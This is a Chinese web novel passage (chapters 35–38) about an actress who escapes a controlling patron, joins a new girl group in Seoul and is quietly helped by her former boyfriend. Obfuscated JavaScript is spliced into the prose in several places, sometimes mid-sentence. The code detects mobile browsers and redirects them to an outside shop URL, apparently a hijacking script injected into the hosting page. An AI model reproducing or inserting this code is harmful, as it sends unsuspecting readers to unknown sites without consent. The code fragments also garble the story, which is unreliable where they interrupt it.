“进了寻星,你们会不可避免地碰面,甚至同台。但我要求你除了必要的合作外,你要和他保持绝对的物理距离和社交距离。我不允许有任何一丝关于你们复合的绯闻流出。如果你因为个人感情把他拖下水,导致资方撤资——” 翟海良眯起眼睛,“我会让你比在周彻手里死得更难看。” 房间里陷入了死一般的寂静。窗外的雨声似乎更大了,敲打着玻璃,像是在替谁哭泣。 商颂看着那条补充协议。 这哪里是条件?这对她来说,简直是一种仁慈的极刑。 她离开周彻,是为了活着。如果因为靠近伯雪寻而让他这几年的努力付诸东流,让他那座刚刚建立起来的王座因为她的污点而崩塌……那她还不如当初烂在周彻的床底。 “这就是您的顾虑?” 商颂忽然轻笑了一声。那笑声极冷,也极其果断,带着一种将自己所有软肋一刀切除的决绝。 她伸出手,指尖在那张伯雪寻的照片上轻轻一拂,像是掸去一粒灰尘,然后毫不犹豫地拿起钢笔。 “翟总,您高估了我的感情,也低估了我的野心。” 她抬头直视着翟海良,眼中的光芒比翟海良见过的任何一个艺人都要锋利,那是一种令人胆寒的利己主义光芒。 “我现在是为了活命才来找您。现在的我,就像个身染瘟疫的逃犯。谁碰我谁倒霉,我比谁都清楚这一点。” “伯雪寻对我来说已经是过去式了。不管是他在海外有多红,还是他是这公司的台柱子,对我而言,他只是一个必须要绕开的障碍物。为了我的新事业,别说是跟他保持距离,就算让我这辈子都当做不认识他,我也求之不得。” 她几乎没有看那个条款第二眼,笔尖落在纸上,刷刷签下了自己的名字。力透纸背,字字诛心。 “我甚至可以更进一步。”商颂放下笔,眼神冰冷,“为了配合营销,如果有需要,我可以在任何采访里明确表示:我不喜欢他那种类型的艺人。彻底断了所有人的念想。” 翟海良愣了一下,似乎没料到这个看起来还残留着一丝感性的女孩会做得这么绝。但他很快露出了一抹满意甚至是欣赏的笑容。 “很好。商颂,我现在相信安夕来没看错人了。” 翟海良收起合同,伸出手,“虽然你这么做很冷血,但在我这儿,冷血是最大的优点。这说明你足够爱自己,足够想赢。” 商颂轻轻握了一下他的指尖,触之即离。 “这不叫冷血,翟总。” 她站起身,拿起那件并不合身的外套重新穿上,整个人缩回那层黑色的防御壳里。 “这叫专业的职业素养。” 36. 第 36 章 首尔,汉江对岸的狎鸥亭洞。 距离商颂一行人被翟海良连夜“打包”送往这里,已经过去了72小时。这是一场为了避开周彻在国内的资本封锁而进行的“深海潜行”,也是寻星在这个娱乐帝国里的殊死一搏。 “Stop.” 童瞳冷淡的声音狠狠敲在空气里。 她不是制作人,不懂那些复杂的编曲参数。她是外语系出身的学霸,信奉绝对的标准与执行力。此时她手里拿着秒表和记录本,正站在练习室最前方,目光如矩。 “谢卿歌,Verse2的那段Rap,你的英文发音吞音了三个音节。虽然你是街头出身,但这首歌的Concept是女王,不是街头混混。把你的舌头捋直了再张嘴。” 童瞳低下头,在那本密密麻麻的记录本上狠狠划了一笔,“还有,你的Wave核心收紧晚了0.2秒,导致整个队形□□了五度。如果不改,今晚你也别睡了。” 谢卿歌狠狠抓了一把湿透的长发。她穿着宽大的篮球背心,作为自由散漫惯了的Dancer和Rapper,这种精确到毫秒的“处刑”让她烦躁得想把天花板掀了。但她看着童瞳那张不容置疑的脸,最后只是咬了咬后槽牙,骂了一句极轻的脏话,重新站回了定位点。 因为在这个随时可能散架的团队里,只有童瞳这把“尺子”能让她们不至于变成一盘散沙。 “还有安夕来。”童瞳转向另一边,“我知道你在忍膝盖的痛,但镜头不会管你痛不痛。刚才那个转身,你的表情有一瞬间的狰狞,重来。” 最后,视线落在C位。商颂素颜,长发高束,整个人瘦了一圈。 “保持刚才那个眼神。”童瞳第一次合上本子,镜片后的眼睛微微眯起,“那种要杀人的冷漠,很好。” 就在这时,厚重的隔音门上的指示灯红转绿,“滴”的一声被刷开。 那一瞬间涌进来的,是属于另一个世界的气场——那种早已在云端站稳了脚跟的顶级压迫感。 “看来翟总这次没夸张,师妹们的杀气很重啊,连门口都冷飕飕的。” 随着一声带着笑意的调侃,APRICITY的五个人走了进来。 领头的“隐形小丑”季斯年染着一头扎眼的白金发色,笑得如夏日阳光般毫无阴霾,手里拎着昂贵的日料拼盘和冰美式。跟在他身后的是一脸没睡醒、走路都在飘的“草包神仙”沈道非,以及阴沉着脸、仿佛谁欠了他五百万的主舞“天生煞才”黎名。 最后进来的两个人,让室温骤降。 一个是伯雪寻。他穿着极简的黑色长风衣,身姿清瘦挺拔。商颂拿着水瓶的手指微微收紧,随即完美地履行了那份“形同陌路”的合约,连余光都没分给他半分。 而在伯雪寻身侧,站着一个穿着白衬衫、浅灰羊毛开衫的男生。他没戴任何饰品,黑发顺毛,干净得像是个刚下课的高中优等生。他安安静静地走在最后,手里拿着一杯温水。 APRICITY的“绝对王牌”老幺,唐嘉树。 那个因为太乖、太不爱说话、甚至有些社恐而激起无数粉丝保护欲的“纯良系”顶流。 “大家辛苦了。”唐嘉树的声音很轻,很有礼貌,对着几位女士微微鞠躬,眼神清澈得像只无害的小鹿。 然而,当他直起腰看到一脸严肃的童瞳时,那双小鹿般的眼睛里似乎闪过了一丝极其隐晦的亮光,随即又迅速归于平静,变成了那种见到陌生人的礼貌疏离。 “休息一下吧。”季斯年招呼着,“虽然是竞品公司的练习室,但既然来了首尔,这一顿必须要吃。” 练习室的角落里,谢卿歌正因为刚才的Rap发音被训斥而懊恼,坐在地上拿着歌词单生闷气。 沈道非不知道什么时候飘了过去,在他旁边两米远的地方坐下,既不搭讪也不撩拨,只是眼神空洞地看着天花板。 “你也觉得那个词很拗口吧?”沈道非突然开口,声音慵懒得像是梦呓,却莫名让人想要安静下来听,“英语里的爆破音太重会切碎节奏。试着含混一点,像是在梦游。” 谢卿歌愣了一下,转头看向这个据说在舞台上都半梦半醒的怪胎,“我是Rapper,梦游怎么炸场子?” 沈道非弯起眼睛笑了笑,“真正的炸裂往往是在沉默之后。就像你刚才那样,太急着想咬人了,反而没力度。” 谢卿歌捏着歌词单的手顿了顿,眼神复杂地看了他一眼,没说话,却也没赶人走。 另一边,练习室上演了一场“灾难片”。 黎名皱着眉站在安夕来面前。这位前“国民甜心”即使汗流浃背也下意识地维持着标准站姿,随时准备接受不知道算是前辈还是后辈的指点。 “你那个Spin动作。”黎名板着那张足以吓哭小孩的酷脸,凶巴巴地指着地板,“重心太高了!那样落地容易伤到半月板,你是笨蛋吗?” 安夕来一怔,习惯性地露出职业微笑正要道歉:“对不起老师,我会注……” 话音未落,只见黎名像被这个笑容烫到一样猛地后退转身,试图掩饰自己的慌张。结果因为动作幅度太大,卫衣口袋一松,“啪”地一声,手机正面朝下摔在地上。 不仅摔了,手机壳后盖还摔松了。 一张边缘泛黄的小卡滑了出来,孤零零地躺在地板上。 那是安夕来十四岁刚出道时的初舞台限定卡,扎着双马尾,那是被誉为“元气奇迹”的瞬间。现在二手市场上这张卡早已绝版。 死一般的寂静。 安夕来睁大了眼睛。 黎名那张酷脸瞬间从脖子红到了耳根,整个人仿佛要在原地自燃,僵硬得像块石头。 “这是那个谁……季斯年硬塞给我的!”黎名语无伦次地咆哮,甚至因为过于慌张而破了音,“我也想杀人不用刀!这绝对不是我的!” “噗——”季斯年在旁边笑得捶地,“得了吧黎小爷,你在宿舍把它压枕头底下辟邪的事儿谁不知道啊?说是‘看到这个笑脸就不会暴躁了’。” 安夕来看着那个平日里拽上天的“混世魔王”青年此刻恨不得钻地缝的样子,眼底那一贯完美的假面似乎裂开了一道缝,露出了一丝真实的柔软与惊讶。 “原来……”她捡起那张卡,轻声说,“那么久以前的笑容,也有人当成宝物藏着啊。” 晚上十点,梨泰院的一家私密性极好的韩式庭院餐厅。 为了“破冰”,也为了商讨接下来的生存策略,两队人马围坐在了一张巨大的长桌旁。桌上摆满了顶级的韩牛和各式小菜,炭火将每个人的脸都映得微红。 座位微妙地分割出了几个气场。 谢卿歌和沈道非坐在了一起。沈道非把自己盘子里烤得正好的蘑菇默默夹给谢卿歌,谢卿歌也不客气,把自己那杯最烈的烧酒推过去。两人碰了个杯,一言不发,眼神交汇间却有一种惺惺相惜。 而童瞳身边,坐着那个“纯良老幺”唐嘉树。 从落座开始,唐嘉树就没有说过一句话。他不像别的男生那样试图找话题,只是安静地垂着眼帘,手里拿着烤肉剪,专注地对付烤盘上的五花肉。 但他总能在童瞳的杯子空了的一瞬间,默默续上温水——而不是酒。 他能准确地把所有的肥肉剪掉,只把最焦脆的瘦肉夹到童瞳盘子里。 甚至在服务员上了一道带有洋葱的凉拌菜时,他极其自然地伸出手,挡了一下,用流利的韩语低声对服务员说:“抱歉,这位对生洋葱过敏,麻烦撤掉。” 童瞳夹菜的手猛地顿住。 洋葱过敏,那是她很久以前的事了。 她转头看向身边的男生。唐嘉树没有看她,依旧是一副低眉顺眼的乖巧模样,只是放在膝盖上的手微微握紧。 童瞳皱了皱眉,终究没忍住:“你记性倒是好,几年没见了还记得。” 唐嘉树的手指微颤了一下,这才抬起头,露出了那个毫无攻击性的笑容,甚至带着一点点被点名后的害羞:“因为童学姐以前在英语角带读的时候……经常把洋葱挑出来扔掉,我坐在后面,总是要负责打扫。” 童瞳愣住了。那是大二时候的事,她从不知道那个总是跟在后面不说话的小学弟,原来一直在看着那些洋葱。 她没再说话,只是那盘剪得完美的烤肉,她一口不剩地吃了下去。 最热闹的当属黎名那一块。这位“混世魔王”在偶像面前彻底怂了,吃相斯文得像个大家闺秀,倒是安夕来放开了,主动用公筷给他夹了一块排骨,吓得黎名差点站起来敬礼。 而长桌的最两端,是两个世界的尽头。 商颂和伯雪寻。 他们隔着最远的距离,像是在守丧,又像是在对峙。商颂手里转着玻璃杯,目光透过落地窗,看着首尔塔的方向。 “团名还没定。”季斯年举着杯子,试图把这两尊大佛拉回人间,“翟总催了,明天要把企划案发过去。各位大佬,给个痛快话?” “Re-born?”安夕来试探。 “Zero?”谢卿歌言简意赅。 “太小气。”童瞳推了推眼镜,冷冷否决,“格局不够。” 众人的目光不约而同地投向了商颂。 商颂放下杯子。脑海里再次浮现出那天在巴黎T台尽头看到的景象——那片吞噬一切的红雾,那道如同世界豁口般的深渊。那是光照不到的地方,是无数恒星诞生前爆炸的尘埃,是混乱,是无序。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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商颂没回头,“这里没有摄像头,但我答应过翟总。” “这只是普通问候。”伯雪寻没理会她的防备,“周彻动手了。他在逼翟海良放弃你。你也看到了,童瞳虽然严谨,但她只懂专业;谢卿歌只懂冲锋;安夕来太软。你身边没有一个能真正帮你挡暗箭、懂商业谈判的经纪人。” 商颂握紧了冰凉的栏杆,“我会自己想办法。” “你的办法就是硬扛?”伯雪寻转过头,“商颂,承认吧,你需要苏曼。” 商颂的心猛地一沉。 苏曼,那个曾带着她出道、也是唯一一个在那个公司里把她当人看的金牌经纪人。但苏曼还被周彻的合约困着,那是天文数字的违约金。 “翟总是个精明的商人,他不会为了我出那笔钱。” “如果加上APRICITY明年欧美巡演的全权代理权呢?” 商颂猛地转身,瞳孔骤缩地盯着他,“你疯了?这是你们团的命脉,你拿这个给翟海良当筹码?” “是交易。”伯雪寻语气平静得可怕,“我们几个人商量过了。现在的代理宣发太烂,不想给外人赚。这个条件足够诱人,只要翟海良把这笔利润用来挖角苏曼,并且支付你的违约金。” “为什么?”商颂的声音有些干涩,“我们签了必须装作不认识的合约,你没必要做到这一步。” “可能是,”伯雪寻收回目光,整理了一下衣领,“因为GALAXY的估值会影响公司的股价。我不想让我的期权缩水。” 他说得那么理智,那么冷血。 但商颂看着那个清瘦却如山岳般可靠的背影,心知肚明。 他用最顶级的商业利益,包裹了一颗最柔软的真心,然后把它扔在地上,不让她有任何心理负担地捡起来。 “明天上午十点,苏曼会带着律师团落地仁川。” 伯雪寻转身向室内走去,留下一句轻飘飘的话。 “商颂,那片深渊,既然跳了,就别回头。” 第二天清晨,寻星首尔分部的会议室大门被推开。 那个穿着纪梵希高定西装的女人大步走了进来。苏曼摘下墨镜,那张美艳又干练的脸上带着杀气。她把一份厚厚的文件摔在桌子上——那是她从周彻公司带出来的媒体黑名单。 “翟总的支票很有诚意,但我主要是看在那份巡演代理权的面子上。”苏曼看了一眼角落里的商颂,挑眉一笑,“怎么,看傻了?把你那没用的眼泪收起来。这一仗,我们要把周彻那孙子的天灵盖都掀了。” 商颂站起身,深吸一口气,那股属于GALAXY中心的引力终于完整。 T台尽头的那片红雾与深渊似乎又浮现在眼前,但这一次,她不再是一个人面对那无尽的黑暗。 “苏曼姐。”商颂伸出手,眼神坚定如铁,“欢迎入局。” 窗外,首尔的太阳正穿破厚重的雾霾,带着一种不顾死活的炽热,狠狠地砸向地面。 属于GALAXY的时代,开始了。 37. 第 37 章 首尔的雨像是永远下不完。对于商颂来说,这场雨是灰色的。 深夜三点,国内社交平台突发“地震”。 曾经捧商颂如掌上明珠的盛天娱乐,突然露出了獠牙。不是明面上的封杀,而是更加阴毒的“捧杀”后的反噬。热搜词条在一个小时内从#商颂失踪#变成了#商颂耍大牌#、#商颂陪酒门#、#商颂演技造假#。 无数真假参半的黑料像下水道反涌的污泥,瞬间淹没了她这几年用血汗堆出来的口碑。 更有所谓的“前助理”爆料,称商颂在片场辱骂群演,甚至还有几张角度刁钻的她在某次应酬局上被投资人揽着肩膀的模糊照片——那是周彻曾经逼她去的局,如今却成了射向她眉心的子弹。 “盛天这是要毁了你,得不到就毁掉,标准流程。” 寻星首尔分部的会议室里,苏曼将平板电脑重重扣在桌面上,面色铁青,“他们卡死了你的解约合同,索赔金额是三个亿。并且,全网发通稿说你‘畏罪潜逃’,暗指你因为私生活混乱被资本抛弃。” 商颂坐在角落的椅子上,手里握着一杯冷掉的咖啡,神色却比任何人想象中都要平静。 “三个亿。”她低声重复了一遍,嘴角勾起一抹讥讽的弧度,“原来我在他们眼里这么值钱。” “现在的问题是,寻星虽然有海外资本,但在国内的舆论场,强龙难压地头蛇。”苏曼点燃了一支烟,眉头紧锁,“周彻掌握了话语权。如果我们现在强行官宣你加入GALAXY,只会让整个团被你的黑料拖下水。网友会说寻星是收容所,收留劣迹艺人。” 窗外,首尔的夜色璀璨如昼,却照不进这间低气压的会议室。 商颂感到了窒息。那是从多年前就笼罩在她头顶的阴云,无论她怎么挣扎,那些男人——周彻、资本、老板,总能轻易地用权力和舆论将她打回原形。 难道真的无路可走了吗? 与此同时,一家隐蔽在北京胡同深处的私人茶馆,门口没有挂牌匾,只点了一盏昏暗的红灯笼。 伯雪寻连夜飞回国内,戴着黑色口罩,帽檐压得很低,径直走进了最里面的包厢。 包厢里没有茶香,只有浓重的烟草味和令人不适的潮湿感。一个穿着花衬衫、满脸油光的中年男人正翘着二郎腿。他是圈内最令人不耻却又不得不忌惮的顶级狗仔头目,“老蛇”。 “哟,稀客。”老蛇眯起绿豆眼,看着走进来的那个如同神祗般清冷的顶流,“咱们APRICITY的队长,平时不都是走红毯的吗?怎么屈尊来这种耗子洞了?” 伯雪寻没有坐下,也没有摘口罩。 “我要盛天娱乐去年‘年终酒会’的完整视频。还有,他们旗下那个刚跳楼未遂的练习生,送到医院时的验伤报告。” 老蛇坐直身子,脸上的戏谑消失了,“伯老师,你这是要动盛天的根啊。那可是周彻的盟友,这东西要是爆出去,盛天那几个高层至少得进去蹲十年。” “你也知道这是掉脑袋的事儿,价钱可不便宜。”老蛇比划了一个数。 “双倍。”伯雪寻拿出一张未署名的瑞士银行卡,沿着桌面滑过去,“这里面的钱足够你去温哥华养老。只要你敢给。” 老蛇盯着那张卡,眼底闪过贪婪与恐惧。良久,他从贴身的内兜里掏出一个黑色的U盘,压在手掌下。 “伯老师,我多嘴问一句。”老蛇阴测测地笑,“商颂已经被全网黑成那样了,听说她当着您的面甩过您。为了这么个前女友,搭上身家性命跟资本硬碰硬,值得吗?这事儿要是让您的那些唯粉知道了,可是塌房啊。” 伯雪寻终于抬眼,那双淡漠的瞳孔里翻涌着无人能懂的风暴。 “与她无关。” 他伸出手,修长有力的手指按住那个U盘,用力抽出。 “我只是,看不得这圈子太脏。” 那一刻,他的谎言连自己都骗不过。什么公道,什么洁癖。他只是无法忍受那个人——那个曾经在暴雨里陪他吃过泡面的女孩,被那群满脑肥肠的野兽撕碎。 即便她推开他,即便她要把他从生命里剔除,他也绝不允许她倒在黎明前。 两天后,首尔。 商颂在练习室里压腿,童瞳推门进来,神色古怪地递给她一个密封的牛皮纸袋。 “刚收到的快递,寄件人是一串乱码。指名给你的。” 商颂拆开。里面是一沓厚厚的打印资料,还有一个微型U盘。 当她看清第一张照片的内容时,手猛地一抖,整个人像是被雷劈中。那是盛天高层强迫未成年艺人陪酒的铁证,是那些被压榨得毫无尊严的女孩们带血的控诉,还有盛天财务造假的实锤。 这不仅仅是黑料,这是核武器。是一把能把盛天娱乐连根拔起、让周彻都不得不断臂求生的屠龙刀。 而在这些资料的最后,夹着一张便签。没有落款,只有一行刚劲有力却刻意用左手写下的字: 【把刀握紧。不用谢谁,这是这肮脏世界的赔偿。】 字迹很丑,甚至可以用狰狞来形容。笔画歪斜、生硬,明显是用左手刻意伪装出来的字体,彻底抹去了书写者原本所有的笔锋和习惯。 商颂皱起眉,心跳在这一瞬间莫名漏了一拍。 是谁? 这种绝密级别的内部资料,不是那种只会蹲点的狗仔能拿到的。只有在这个圈子里拥有极高权限或者不仅有钱还需要有顶级人脉的人,才可能触碰到这种黑暗的最底层。 苏曼?不可能,她刚落地韩国,还没来得及动用国内的暗线。 周彻的对家?更不可能,对于资本家而言,这种会导致整个行业大地震的核料不仅烫手,更不符合商业对垒。 一个不可思议的念头,像是在深海中泛起的气泡,猛地钻出水面。 那个名字在她舌尖打了个转,又被她理智地咽了下去。 十分钟后,商颂推开翟海良办公室的门,脸上已恢复了绝对的冷酷。 她将那叠资料重重拍在翟海良的办公桌上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227172|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“翟总,我们反击的弹药到了。” 翟海良拿起来看了几页,脸色剧变,随即露出了猎人般狂喜的眼神,“这……你是从哪弄来的?这种绝密等级的东西,连我都搞不到!” 商颂没有任何迟疑,目光直视着翟海良,声音清冷而坚定: “是一个痛恨盛天的匿名爆料人。和任何人无关,只和我有关。这是我和盛天的私人恩怨。” 她将所有的一切都揽在自己身上,干干净净地切断了和伯雪寻的任何联系。 “这把火,我亲自来点。” 舆论的反转来得比海啸更猛烈。 当那份经过律师公证的证据链被抛上网络,当那些女孩带着马赛克的哭诉视频被公开,之前所有泼向商颂的脏水都在瞬间蒸发,变成了对盛天娱乐愤怒的岩浆。 【卧槽……我看不下去了,这那是娱乐公司?这是在贩卖人口吧?!那是未成年啊!】 【给商颂道歉!全网给商颂道歉!把受害者污蔑成荡|妇,盛天你们还有心吗?】 【原来之前说商颂“耍大牌”是因为她拒绝去陪酒局?我哭了,姐你是真的刚。】 【天哪,视频里那个女孩的手腕全是伤……盛天的高层是畜生吗?】 【这也太恐怖了,这根本不是合同纠纷,这是刑事案件!警察叔叔快把这群人抓起来!】 【难怪商颂要逃,这哪里是解约,这是逃命啊!我们之前还跟着骂她,太对不起了……】 【@周彻@盛天娱乐出来挨打!这哪里是资本,这是□□!倒闭!必须倒闭!】 【商颂这一波反杀简直是爽文女主照进现实!忍辱负重搜集证据,一击毙命,太绝了!】 “压榨未成年”、“潜规则”、“财务造假”……盛天娱乐在一夜之间成了过街老鼠。周彻被迫发表声明与盛天切割,相关高层被带走调查。 而那个试图索赔三亿的解约合同,在法律面前变成了废纸。 商颂,自由了。 正式解约的那天,首尔下起了小雨。商颂站在寻星大楼的落地窗前,看着外面灰蒙蒙的天空,给苏曼发了一条信息:【搞定。】 没有狂喜,只有一种劫后余生的虚脱感。 就在这时,寻星娱乐官方微博正式发布了那一则重磅公告—— 【GALAXY计划启动。欢迎新成员:商颂。】 配图是一张极具视觉冲击力的海报。灰暗的废墟背景中,商颂身穿黑色工装,眼神凌厉地回头。 全网哗然。 【什么?商颂解约居然是为了去跳女团?】 【疯了吧?好好的电影脸不去演戏,跑去当爱豆?】 【她会唱跳吗?我就记得她在晚会上假唱都没对上口型。】 【避雷了,一个纯花瓶加进来,这是要毁了我的安夕来和谢卿歌吗?】 舆论的风向再次变得诡谲。如果说之前是对她人品的污蔑,那么现在,是对她业务能力的全面质疑。在这个慕强的圈子里,“菜”是原罪。 38. 第 38 章 在这个圈子里,“菜”是原罪,但“努力却没天赋”是更大的笑话。 商颂知道,外面那些把她骂上热搜的人都在等着看寻星娱乐这场“豪赌”如何收场。他们买好爆米花,等着看GALAXY这个拼凑起来的杂牌军在首秀舞台上车祸现场。 “如果不想被当作只会念词的朗诵者,这段旋律你的共鸣腔还得往后压。” 练习室里,童瞳按着安夕来的腹部,“用力!把气吐干净!你是领唱,不是花瓶!” 安夕来咬着牙,再一次发声。汗水流进眼睛里,生疼。 就在这种紧绷到快要断弦的气氛中,苏曼推开了门。 “停一下。带上装备,去隔壁奥林匹克公园。” “现在?”谢卿歌擦了把汗,有些烦躁,“这个时候去公园干嘛?团建?” 苏曼理了理袖口,目光扫过每个人,“去上课。让你们看看,什么是亚洲天花板级别的现场。APRICITY首尔演唱会的总彩排。” 商颂的心跳猛地漏了一拍。 如果是正式演唱会,那是经过无数修音和后期包装的精美商品。但总彩排,是剥离了华服和粉丝滤镜后,最赤裸、最野蛮的实力展示。 半小时后,巨大的黑色保姆车停在首尔奥林匹克场馆的后门。 这里没有尖叫的粉丝,只有行色匆匆的工作人员和搬运器材的重型卡车。 GALAXY的一行人被领进内场VIP区。硕大的场馆空荡荡的,只有两三盏射灯孤零零地亮着。 “这也没什么嘛。”谢卿歌嘟囔了一句,刚想把腿翘到前排椅背上。 下一秒,全场的灯光骤然熄灭。 黑暗中,一声极其低沉的合成器贝斯轰鸣声炸响,连座椅都在震动。 舞台中央,一束红色的激光笔直劈下,像是一把利剑插在地上。 “Rise.” 随着这一声沙哑的低语,大屏幕瞬间亮起,那是五个如同堕落天使般的剪影。 没有伴舞,没有花哨的升降机。APRICITY五个人穿着宽松的便服,伯雪寻甚至只戴了一顶鸭舌帽,帽檐压得很低。但当鼓点密集如雨点般砸下时,那种令人头皮发麻的统御力扑面而来。 这是他们新专辑的主打曲《Sovereign》(主宰),概念是——以下犯上。 商颂坐在台下,眼睛死死盯着舞台中心的那个身影。 这是她第一次,真正意义上作为观众,而不是作为一个等待他下班的女友,去审视伯雪寻。 在舞台上的他,是一个全然陌生的怪物。 他的每一个动作都极其舒展且充满爆发力,那种游刃有余的松弛感,和那种随时能掌控几万人呼吸的压迫感完美融合。他不看镜头,也不讨好观众,他只是在那里,整个舞台的重力场就围着他转。 尤其是中间那段Rap,伯雪寻摘下帽子,乱发飞扬。他踩着节拍走到延伸台边缘,即使台下只有空荡荡的座椅和GALAXY的几个女孩,他的腔调也凶狠得像是在在此刻就要把这世界嚼碎。 “他在发光。”安夕来喃喃自语,早已忘记了表情管理,“这也太强了……跟我们这种还需要数拍子的完全不是一个维度的生物。” 一曲终了,五个人站在台上喘息。伯雪寻随手撩起衣摆擦了擦下巴上的汗,那截劲瘦紧实的腹肌一闪而过。他没有看台下,只是转身跟旁边的黎名比了个手势,讨论着刚才的走位。 那种专注,那种对舞台如同神职人员般的敬畏,深深刺痛了商颂。 她忽然明白了翟海良带她们来的用意。 不是为了看来秀肌肉的,而是为了让她们看到那种“野心”。那种不满足于做偶像,而是要成为艺术家的野心。 这不仅是业务能力的碾压,更是灵魂重量的差距。 彩排间隙,工作人员开始调试灯光。GALAXY的成员们被安排在后台休息室等待。 商颂觉得里面太闷,借口透气走到了无人的消防通道楼梯间。这里安静,只有安全出口绿幽幽的光。 她靠在冰冷的墙壁上,脑海里全是刚才伯雪寻在舞台上的眼神。那样自由,那样狂妄。 而她呢?一个还被贴着“除了脸一无是处”标签的金丝雀。 巨大的落差感像潮水一样将她淹没。 “觉得绝望了?” 商颂猛地抬头。伯雪寻不知道什么时候站在那里,手里夹着一支未点燃的烟,居高临下地看着她。他没卸妆,眼线晕染开一点,显得那双眼睛更加深邃勾人。 “我没有。”商颂下意识地反驳,像个被戳中心事的刺猬,“我只是在复盘。” “你的眼神骗不了人。” 伯雪寻走下来,脚步声在空旷的楼梯间回荡。他在离她三个台阶的地方停下,保持着那种该死的安全距离。 “你看到了差距。你在想,也许外界说得对,你现在就算拼了命,也达不到专业训练出身的顶尖水平。” “如果你是来嘲讽我的,那大可不必。”商颂转身欲走。 “我不是来嘲讽你的。” 伯雪寻的声音低了下来,带着刚才唱歌时特有的那种磁性,“我是来告诉你,别学安夕来,也别学黎名。如果你试图用这种速成的方式去追赶技巧,你永远只能是二流。” 商颂停住脚步,回头看他。 “GALAXY需要的不止是唱跳机器,翟海良签你,看重你——”他顿了顿,改口道,“不是因为你现在的能力,而是因为你身上那股劲儿。” “什么劲儿?” “那种死过一次、从泥里爬出来的破碎感。” 伯雪寻倚在栏杆上,手里转着那支烟,“商颂,你在周彻身边的这三年,那种被压抑、被当作玩偶、却始终没有熄灭的愤怒,才是你最大的武器。那是那种普通偶像永远无法理解的黑暗。把那些东西挖出来,放进你的声音里。” 他看着她的眼睛,目光像是一张温柔又强韧的网。 “别去管那些节拍准不准,那些高音稳不稳。那是童瞳该操心的事。你在舞台上要做的只有一件事——发泄。” “就像我们这张专辑《以下犯上》。这就是我们APRICITY的态度。这也是我想给你的。” 伯雪寻忽然上前一步,那种强大的压迫感瞬间逼近。他没有触碰她,但那个影子已经将她完全笼罩。 “翟海良这只老狐狸给了你舞台,苏曼给了你公关盾牌。” “而我在这里。” “只要我还在这个顶端站着一天,我就能替你挡住所有的暗箭和规则。你不需要去迎合任何人,不需要去做第二个谁,也不需要去当完美的偶像。” “商颂,我想看到你在舞台上撕开这层面具。” “有我在,你就有绝对的自由。” 商颂怔怔地看着他。 这句话比任何情话都更致命。在这个等级森严还充满算计的娱乐帝国里,“自由”是最昂贵的奢侈品。而他把这顶皇冠,亲手戴在了她的头上。 她看着眼前这个男人,终于不再仅仅是多年前那个清贫的少年,也不再是那个因为不能公开恋情而分手的懦弱爱人。 他成了一座山。 商颂没有说话,只是那种从彩排时就被压抑在心底的创作欲,此刻像是一座休眠火山突然喷发。某种旋律在她的血管里奔涌,撞击着她的耳膜。 那是愤怒,是悲伤,是被压抑的爱欲,也是重生的剧痛。 “这支烟借我。” 商颂忽然伸手,从伯雪寻指间抽走那支未点燃的烟。 伯雪寻挑眉,有些意外。 “我去找吉他。借你们的乐器室一用。” 深夜的乐器室里,只有一盏落地灯亮着。 商颂抱着一把从沈道非那里借来的旧吉他,盘腿坐在地毯上。她的手指在琴弦上生涩地摸索着,试图抓住脑海里那段稍纵即逝的旋律。 一个Cm9和弦,转Gsus4。那种不和谐甚至有些刺耳的转换,像是在深水里无法呼吸的挣扎。 但总觉得少了一点什么。那种能把整首歌的情绪推向高潮的连接段落,她怎么也找不到。 门被推开一条缝。 伯雪寻没有说话,只是默默地走进来,坐在她对面的架子鼓凳子上。他换了件白T恤,看着她皱眉跟吉他较劲的样子,没忍住,拿过旁边的一把贝斯。 “你想走GrungeRock(垃圾摇滚)的风格?”他一上手,贝斯低沉的线条瞬间填补了吉他声音的单薄,“试试这里降半个音。让那种撕裂感更重一点。” “像这样?”商颂调整了指法,再次扫弦。 “对。”伯雪寻随手拨动了两下琴弦,那是一种极其独特的闷音技巧,利用掌根在琴码处的特殊摩擦,配合无名指的滑弦,制造出一种如同深海气泡破裂般的音色。 商颂猛地抬起头,眼睛死死盯着他的右手。 那个技巧……那个用掌根压弦制造闷音,同时无名指在品格上反向滑动的古怪指法。 全天下只有一个人这么教过她。 “等等。”商颂的声音有些颤抖,手指猛地按住正在震动的琴弦,“刚才那个……你怎么会?” 伯雪寻的手指停在半空,似乎对她突如其来的激烈反应感到困惑,他懒懒地抬起眼皮,“什么怎么会?你是说这个BassLine?” “不,那个指法。”商颂放下吉他,身体前倾,目光灼灼地锁住他的脸,“利用掌根切音的同时做滑弦。那是我父亲自己琢磨出来的‘哑音’技巧。他从未发表过教学视频,甚至因为早逝,这个指法他只教过我,和当年的一个——” 记忆如闪电般劈开时间的迷雾。 那个早已模糊的小男孩身影,似乎正要与眼前这个顶流制作人重叠。 商颂的心脏狂跳,那个名字就在嘴边,“你——” “你父亲发明的?” 伯雪寻轻笑了一声,那笑意并未达眼底,反而带着一种漫不经心的傲气。他打断了商颂即将出口的质问,修长的手指随意的在琴颈上滑过,再次发出那种独特的声音。 “很有趣的说法。但在地下乐团混过的人都知道,为了制造这种肮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235549|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脏又粘稠的听感,贝斯手们什么怪招都能试出来。” 